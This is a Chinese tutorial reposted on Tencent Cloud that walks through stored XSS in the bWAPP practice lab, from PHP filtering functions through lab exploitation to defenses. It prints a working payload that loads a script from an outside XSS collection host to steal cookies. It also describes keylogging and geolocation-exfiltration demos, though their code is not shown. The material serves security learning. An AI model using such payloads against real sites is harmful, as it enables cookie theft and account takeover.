专栏首页信安之路新手指南:Bwapp之XSS –stored

新手指南:Bwapp之XSS –stored

XSS 全称:跨站脚本( Cross Site Scripting ),为了不和层叠样式表( Cascading Style Sheets )的缩写 CSS 混合,所以改名为 XSS;攻击者会向 web 页面( input 表单、 URL 、留言版等位置)插入恶意 JavaScript 代码,导致 管理员/用户 访问时触发,从而达到攻击者的目的。

XSS 的危害:窃取管理员/用户的 cookie 非法登录,导致网站被挂马、服务器沦陷被控制等等……

XSS 类型:反射型、存储型、 DOM 型

0x01 代码审计

1.安全等级-low(未对字符做任何处理)

服务器端核心代码,数据提取及表单显示数据部分代码:

PHP - low 级别显示代码为:

关键的语句:

Return mysqli_real_escape_string(data);

下列字符受影响:

\x00 ,\n ,\r ,\ ,' ," ,\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

2.安全等级- medium

服务器端代码:

关键语句:

return addslashes($data);

stringaddslashes ( string $str )

本函数可在 PHP4 和 PHP5 下使用。

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NULL(NULL 字符)。

默认情况下,PHP 指令 magic_quotes_gpc 为 on ,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()进行检测。

一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。大多数据库使用 \(反斜杠)作为转义符:O\'reilly ,这样可以将数据放入数据库中,而不会插入额外的 \。当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 \' 时将使用 ' 进行转义。

3.安全等级:high

关键语句:

return htmlspecialchars($data, ENT_QUOTES,$encoding);

quotestyle 选项为 NT_QUOTES 过滤单引号

函数 htmlspecialchars 转换特殊字符成为 html 实体:

&(和号)成为 &amp

“ (双引号)成为 &quot

‘ (单引号)成为 &#39

< (小于号)成为 &lt

> (大于号)成为 &gt

具体细节请看:

http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

0x02实战解析

1.low安全级别

让我们来留个言:

数据库中插入的数据:

点击一下safs:

成功跳转到百度:

2.medium 安全级别:

让我们再来留个言:

数据库中插入的数据:

刷新一下,看看效果图:

3.high 安全级别:

对字符输出过滤做的很好,看看效果:

4.下面来找个具体例子来练练手 xss之获取键盘记录:

数据接收的 getkeylog.php :

盗取数据的 victim.html 网页:

访问 victim.html:

生成了一个 data.txt 文件:

打开 data.txt:

数据盗取成功。(^__^) 嘻嘻……

5.盗取 cookie:

开启虚拟机,开启 phpstudy, 进入 webbug 靶场:

留言一下:

"><sCRiPt sRC=http://xss.fbisb.com/6srZ></sCrIpT>

刷新一下;

接收到 cookie:(好像没有啥东西)。。。。。。。

6.Cookie 并不好玩,让我们来一下骚操作(可以精确定位):

获取对方的地理位置:

需要 index.phprecv.php ( index.php 发送给攻击者的, recv.php 作为服务端接收参数)

index.php:

Recv.php :

接受上个页面传过来的参数(经度坐标),接受上个页面传过来的参数(纬度坐标),创建一个 geo.txt 文件,把经度写入到 geo.txt 里,把纬度写入到 geo.txt 里

插入留言:

存入数据库:

点击 location 的效果图:

打开 geo.txt:

来看看定位结果:

0x03防御手段

1、PHP 直接输出 html 的,可以采用以下的方法进行过滤:

2、PHP 输出到 JS 代码中,或者开发 Json API 的,则需要前端在JS中进行过滤:

尽量使用 innerText(IE) 和 textContent(Firefox) ,也就是 jQuery 的 text() 来输出文本内容必须要用innerHTML等等函数,则需要做类似 php 的 htmlspecialchars 的过滤

3、其它的通用的补充性防御手段

在输出 html 时,加上 Content Security Policy 的 Http Header

(作用:可以防止页面被 XSS 攻击时,嵌入第三方的脚本文件等)

(缺陷:IE 或低版本的浏览器可能不支持)

在设置 Cookie 时,加上 HttpOnly 参数

(作用:可以防止页面被 XSS 攻击时,Cookie 信息被盗取,可兼容至IE6)

(缺陷:网站本身的 JS 代码也无法操作 Cookie ,而且作用有限,只能保证 Cookie 的安全)

在开发 API 时,检验请求的 Referer 参数

(作用:可以在一定程度上防止 CSRF 攻击)

(缺陷:IE或低版本的浏览器中,Referer 参数可以被伪造

0x04总结

XSS 的攻击已经相当成熟,丰富的攻击技巧更是令人眼花缭乱。相比之下,针对XSS的检测和防范方法显得捉襟见肘。幸运的是,尽管很难对 XSS 攻击做出有效检测,但是如果能依照一定的方法对XSS进行防范,XSS攻击便很难造成实质性的危害

(一)、Anti_XSS

Anti_XSS 是微软开发的(.NET平台下)用于防止 XSS 跨站脚本攻击的类库,它提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义。

(二)、HttpOnly Cookie

窃取 Cookie 是最常见的 XSS 攻击手法之一,即利用 XSS 攻击手法来打破同源策略。在同源策略规范下,Cookie 理应只能提供给同源下的网页读取使用,然而透过 XSS 漏洞,攻击者可以利用 JavaScript 中的document.cookie 方法窃取用户的 Cookie

(三)、WAF

除了使用以上方法地域跨站脚本攻击,还可以使用 WAF 抵御 XSS、

WAF 指 Web 应用防护系统或 Web 应用防火墙,是专门为保护给予 Web 应用程序而设计的,主要的功能是防范注入网页木马、 XSS 以及 CSRF 等常见漏洞的攻击,在企业环境中深受欢迎。

(四)、重点

如何利用 xss 漏洞实施攻击并不是身为安全工程师的重点,xss 防御才是我们努力要去做的。

本文分享自微信公众号 - 信安之路(xazlsec),作者:loveyoucty

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-01-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 前端Hack之XSS攻击个人学习笔记

    此篇系本人两周来学习 XSS 的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程...

    信安之路
  • 轻松理解 X-XSS-Protection

    首先我们来理解一下什么是“X-XSS-Protection”,从字面意思上看,就是浏览器内置的一种 XSS 防范措施。

    信安之路
  • 轻松理解 NTLM 协议工作流程

    NTLM 使用在 Windows NT 和 Windows 2000 Server(or later)工作组环境中(Kerberos 用在域模 式下)。

    信安之路
  • 贝叶斯生成对抗网络(GAN):当下性能最好的端到端半监督/无监督学习

    【新智元导读】康奈尔大学研究员结合贝叶斯和对抗生成网络,在6大公开基准数据集上实现了半监督学习的最佳性能,同时,这也是迈向终极无监督式学习的一大步。研究提出了一...

    新智元
  • CVPR 2020 | 10篇改进GAN的论文(网络、训练、正则等)

    引入新的局部稀疏注意力层,保留二维几何形状和局部性,用这种结构替换SAGAN的密集注意力层即可获得显着的FID、Inception score和视觉效果。htt...

    OpenCV学堂
  • CVPR 2018:用GAN预测20年后你长什么样

    新智元
  • BGAN:支持离散值、提升训练稳定性的新GAN训练方法

    首先,让我们温习一下GAN(对抗生成网络)的概念。简单来说,GAN是要生成“以假乱真”的样本。这个“以假乱真”,用形式化的语言来说,就是假定我们有一个模型G(生...

    崔庆才
  • 面向视频编解码后处理的深度学习方法进展

    接前一帖(适用于视频编码帧间预测分数像素插值的卷积神经网络方法简介),今天继续介绍一类基于人工智能的视频处理技术——深度学习在视频后处理中的应用。 1 背景介绍...

    用户1324186
  • GAN最新进展:8大技巧提高稳定性

    生成对抗网络 (GAN) 是一类功能强大的神经网络,具有广泛的应用前景。GAN 本质上是由两个神经网络组成的系统——生成器 (Generator) 和鉴别器 (...

    新智元
  • 三种Linux服务器监控技术的对比

    本文介绍三种Linux服务器监控技术的优缺点,其中有SNMP代理(客户端)方式、SSH方式、安装私有代理(客户端)方式等内容。 Linux系统的强大的功能和绚丽...

    猿人谷

扫码关注云+社区

领取腾讯云代金券